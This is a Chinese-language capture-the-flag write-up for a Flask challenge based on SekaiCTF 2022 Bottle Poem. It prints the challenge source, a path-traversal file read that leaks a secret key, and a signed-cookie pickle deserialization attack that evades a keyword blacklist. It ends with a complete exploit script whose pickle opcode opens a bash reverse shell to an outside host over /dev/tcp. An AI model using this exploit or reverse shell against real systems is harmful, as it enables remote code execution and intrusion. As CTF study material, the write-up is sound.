这道WEB题解出来的人不少,但是看到大家发的WP都是有问题的,压根复现不了,于是拿出来详细讲解一下。
题目的步骤可以参考:SekaiCTF 2022 Bottle Poem
app.py源码
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
cookie.py源码
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
unicode = str
basestring = str
# Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value to long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
开始按照SekaiCTF 2022 Bottle Poem原题步骤
通过读取/lyrics?lyrics=/proc/self/cmdline
得到:python3 -u /usr/etc/app/app.py
拿到app源码后再通过库名from config.secret_key import secret_code
拿到secret_key
路径为:/usr/etc/app/config/secret_key.py
得到secret_code = "EnjoyThePlayTime123456"
于是兴高采烈直接贴原题EXP打,本地触发成功了
但是打远程的时候失败了,发现跟原题比多了一道WAF
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
在访问board路由的时候会进入cookie_check方法
cookie_check方法会对Cookie中的user值进行黑名单检测
我们用原题构造的恶意pickle是用了R指令的__reduce__魔术方法,在blacklist检测中不允许出现R字符
因此我们用i或者o指令编写的opcode就可以绕过了
于是就出现网上公开的EXP脚本,通过测试直接将opcode放入cookie_encode跑出来的payload根本无法命令执行!
可以通过调试发现,真正触发pickle反序列化的是cookie.py里的cookie_decode方法
而非app.py中的a = pickle.loads(data)
pickle反序列化触发的顺序是从app.py中的board路由get_cookie()方法
进入到cookie.py的get_cookie()方法->cookie_decode()方法,最后在msg参数触发pickle
但为什么用R指令可以触发用i和o就不行呢?
因为opcode并不是__reduce__魔术方法,需要直接pickle.loads才能触发
在构造POC的cookie_encode方法中,会对payload进行pickle.dumps处理,所以在使用R指令的__reduce__魔术方法就能被触发
因此正确的POC应该是要在cookie_encode方法中减少pickle.dumps处理,这样生成的data才会触发pickle
对cookie_encode方法进行修改得到最终POC
最终EXP
import pickle,base64
import hashlib
import hmac
unicode = str
basestring = str
secret="EnjoyThePlayTime123456"
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = key
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
opcode = b'''(S'bash -c "bash -i >& /dev/tcp/IP/7777 0>&1"'
ios
system
.'''
msg = base64.b64encode(opcode)
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
payload = tob('!') + sig + tob('?') + msg
print("payload: ",payload)
get_cookie(key=payload,secret=secret)